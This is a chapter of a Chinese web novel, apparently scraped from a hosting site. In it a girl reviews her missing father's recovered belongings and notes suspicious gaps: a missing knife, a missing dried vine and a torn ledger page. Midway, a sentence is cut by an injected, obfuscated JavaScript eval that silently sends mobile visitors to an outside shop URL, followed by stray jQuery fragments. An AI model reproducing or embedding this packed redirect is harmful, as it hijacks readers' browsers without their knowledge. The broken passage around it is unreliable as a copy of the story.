文趣网 > 其他小说 > 大唐摸鱼录 > 23. 第二十二章:父死成谜
    沈怀安失踪后的第十七天,去山里寻人的最后一拨人回来了。

    没有人,也没有尸首。

    带回来的只有一只沾满泥浆的木箱、两匹被洪水泡得发硬的布、一件从下游灌木丛里捞出来的外袍,以及几样被同行商人认出来属于沈怀安的随身物件。

    送东西来的是刘叔,他进院的时候裤脚上还沾着泥,脸晒得发黑,整个人比十几日前瘦了一圈,见周氏迎出来,嘴唇动了好几次,却始终没能说出一句“节哀”,大概连他自己也觉得,只要一天没有找到尸首,这两个字便说得太早。

    周氏却像抓住了这最后一点希望,扶着门框急声问:“还是没找到?”

    刘叔低下头,“沿河找了四十多里,山沟也找了,下游几个村子都问过,没人见过。”

    周氏嘴唇一下失了颜色,却还是固执地问:“那就是没死,对不对?”

    刘叔没有回答。这个问题没人能回答。

    山洪发生已经十七日,一个不会水的人在深夜失踪,活下来的可能已经小得近乎没有,可只要尸首一天没找到,那个“死”字便像隔着最后一层窗纸,谁也不忍心亲手捅破。

    沈知闲一直站在周氏身后,没有哭,也没有追问父亲是不是还活着,她只是看着那只被放到院中的木箱,等刘叔陪着母亲说完话以后,才走过去蹲下,把里面的东西一件一件拿出来。

    一只钱袋,铜钱还在,一串钥匙,火石。

    两封已经被水泡得看不清字迹的书信。

    几张货单,一件换洗衣裳,还有父亲常带在身边的一个小药囊。东西并不少。

    可沈知闲越看,眉头皱得越紧,“刘叔。”

    “怎么?”

    “这些东西是在一起找到的?”

    刘叔想了想,“有些是,木箱卡在下游一棵树边,衣裳是另外捞的,钱袋在箱里。”

    “那刀呢?”

    刘叔愣了一下,“什么刀?”

    “我阿耶平时带的短刀。”

    沈怀安常年在外走商,身上一直带着一把不长的防身短刀,刀柄缠着旧皮绳,算不上值钱,却从不离身,沈知闲以前还拿起来看过一次,被父亲笑着抢回去,说小孩子不要碰这些东西。

    刘叔皱着眉想了半天,“没见,可能冲走了?”

    沈知闲点头,没有反驳。

    当然可能。山洪之下,什么东西冲走都不奇怪。

    她又翻了一遍,随后动作停住,还有一样东西不在。

    那截黑色枯藤。

    沈怀安出发之前,她亲手交给他的。

    那天父亲站在院门口,把枯藤塞进随身的小布袋里,还笑她,说不就是一朵怪花,怎么比买糖还上心,她当时没有办法解释,只能一本正经地告诉他,如果再看到这种花,无论活株还是种子,都尽量带回来。

    现在布袋没有,枯藤也没有。

    沈知闲抬起头,“刘叔,我阿耶出事前几天,有没有去找过什么东西?”

    “找东西?”

    “花。”

    刘叔明显怔了一下。

    这个反应让沈知闲心里微微一沉。

    “有?我想想。”

    刘叔在院里坐下来,手在膝盖上慢慢搓了几下,似乎在努力回忆十几日前那些原本没人会在意的小事,过了好一会儿才说:“你这么一问,好像还真有。”

    周氏也抬起头,“什么事?”

    “我们到那边以后,怀安跟一个采药人聊过。”

    “聊什么?”

    “我没细听。”刘叔皱着眉,“那采药人背着一篓草药,怀安拿了什么东西给他看,问他见没见过,我当时还笑他,说跑这么远做买卖,还有闲心找花花草草。”

    沈知闲手指慢慢攥紧,“后来呢?”

    “后来……”刘叔想了一会儿,“那人好像真说见过。”

    “在哪?”

    “这我就不知道了,第二天你阿耶一个人出去过半日,晌午以后才回来,鞋上都是泥,衣摆还被树枝划破了。”

    “他回来以后说什么?”

    “没说什么。”刘叔停了一下,忽然像想起什么,“不过他心情挺好,我问他是不是捡钱了,他说比捡钱有意思。”

    院子里突然安静。

    周氏没有听明白这意味着什么,只觉得丈夫失踪前还跑进山里找花,忍不住红着眼埋怨:“知闲要什么花,你便真替她去找,连自己的命都不顾……”

    沈知闲没有解释,她只是低头看着那堆被洪水泡过的遗物。

    父亲找到了,至少很可能找到了那种黑色喇叭花。然后第二天夜里,山洪来了。

    如果事情到这里结束,其实仍然没有任何值得怀疑的地方,一个商人为了女儿寻找一株稀奇植物,随后遭遇山洪失踪,完全可以只是巧合,世界上每天都有无数这样的巧合,沈知闲上辈子做工作时最讨厌的一件事,就是有人抓住几个互不相关的细节,硬生生拼出一个自己想要的结论。

    所以她没有立刻认定,只是继续问。

    “山洪来的时候,谁最后见过我阿耶?”

    刘叔愣了愣,“这个……”他想了很久,“我记得吃过晚饭以后还见过。”

    “什么时候下雨?”

    “入夜不久。”

    “什么时候发洪?”

    “大概丑时前后。”

    “我阿耶睡哪?”

    “靠外边的棚子。”

    “跟谁一起?”

    “老秦,还有一个姓郭的脚夫。”

    “他们两个呢?”

    刘叔脸色沉下来,“也没了。”

    “有人看见他们被冲走吗?”

    “老秦有人看见。”

    “姓郭的呢?”

    “好像也有人喊过。”

    “我阿耶呢?”

    这一次,刘叔没有立即回答。他认真回忆,过了很久,才慢慢摇头,“好像没人亲眼看见。”

    沈知闲心里那根弦,终于轻轻绷紧,“什么意思?”

    “当时太乱。”刘叔解释,“水一下就来了,马都惊了,棚子也塌了,谁顾得上谁,我们后来点人才发现少了三个,便都以为是被冲走了。”

    “所以没人看到我阿耶掉进水里?”

    “……应该没有。”

    “也没人看到他离开营地?”

    “没有。”

    “那为什么说他被洪水冲走?”

    刘叔被问得一时说不出话。过了半晌,才道:“那种时候,人不见了,不是被水冲走,还能去哪?”

    是啊,还能去哪?这才是最合理的解释。沈知闲没有继续追问,她知道,再问也问不出什么。

    十七天过去了。

    现场早就被洪水冲得面目全非,同行的人当时各自逃命,没人会专门记录沈怀安最后出现的时间,也没有监控,没有定位,没有完整证人链,她就算把所有细节列出来,也只能得到一堆无法验证的疑点。

    可疑点终究是疑点。

    她蹲在地上,从木箱最下面翻出父亲的账本。账本被水泡过,前面大半已经粘在一起,后面几页勉强还能翻开,沈知闲

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17933342|213682||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    一页页看过去,大多是货物、住宿、脚钱和沿途交易,没有什么特别,直到最后几页,她忽然发现中间少了一张。

    不是泡烂,是被撕掉的,纸根还留在装订线里。她盯着那道参差不齐的断口看了很久。

    “刘叔。”

    “嗯?”

    “这本账以前缺页吗?”

    “我哪知道。”

    也是,除了沈怀安自己,会记得一本账的某一页是不是原本就缺。

    沈知闲把账本合上,没有再问。

    短刀不见,黑色枯藤不见,父亲失踪前曾独自进山,回来时心情很好,没人亲眼看见他被洪水冲走,账本中间少了一页。

    五件事,每一件单独拿出来,都有合理解释。

    刀可能被洪水冲走,枯藤可能遗失,进山只是找花,没人看见只是因为夜里混乱,账页也可能早就被撕掉。

    如果强行把它们连在一起,很容易得到一个惊人的故事。

    可沈知闲不允许自己这么做。

    她回屋拿出那块平日记东西的小木板,在上面写下两个字:疑点。

    想了想,又在下面补了一行:不是结论。

    她上辈子审材料、看案卷时养成的习惯,居然在这个时候发挥了作用,事实就是事实,推测就是推测,没有证据之前,不能为了让故事说得通,就把推测当成事实。

    可她心里仍然有一种很难压下去的不安。

    如果沈怀安真的只是死于山洪,那当然最好,至少事情已经结束。

    可如果不是呢?如果那株黑花真的和他的失踪有关。

    那就意味着,在李治登基、灵气复苏之前的十二年,已经有人注意到了这些本不应该出现的东西,甚至可能比她知道得更多。

    这个念头一冒出来,沈知闲立刻觉得后背发凉。

    她一直以为,自己最大的优势是提前十二年知道“版本更新”。可如果别人也知道呢?她低头看向自己的手。

    七岁,没钱,没权,父亲失踪,母亲病弱,家产还被族里盯着。

    如果真有什么人藏在这件事后面,她现在去查,跟主动送上门没有区别。

    所以不能查,至少现在不能。

    沈知闲把木板收起来,又把那本泡过水的账册用布包好,连同父亲剩下的几张货单一起藏进自己的箱底。

    周氏坐在院中,仍然望着门外,她还在等,等那个已经十七天没有回来的人,某一天突然推开院门,笑着说路上耽搁了,让她们白担心一场。

    沈知闲看着母亲,没有告诉她自己的怀疑,因为怀疑不能救人,只会让一个已经快撑不住的人更加痛苦。

    她走过去,在周氏身边坐下。

    周氏忽然问:“你阿耶还能回来吗?”

    沈知闲张了张嘴,她想说能。可她已经不是一个真正七岁的孩子,没办法把自己都不相信的话说得理直气壮。最后,她只是伸手握住母亲的手,“再等等。”

    周氏点头,“对,再等等。”

    夕阳慢慢落到院墙后,母女两个人坐了很久,谁也没有再说话。

    而在沈知闲心里,沈怀安这个名字后面,从这一日起,再也没有写上那个确定的“死”字。

    她只写了四个字:生死不明。

    至于那株消失的黑色喇叭花,那把没有找到的短刀,那张被人撕掉或者早已遗失的账页,以及父亲失踪前独自进入山中的半日,她全部记了下来,却没有再碰。

    因为她已经开始明白,在这个时代,一个七岁的孩子知道得太多,从来不是优势。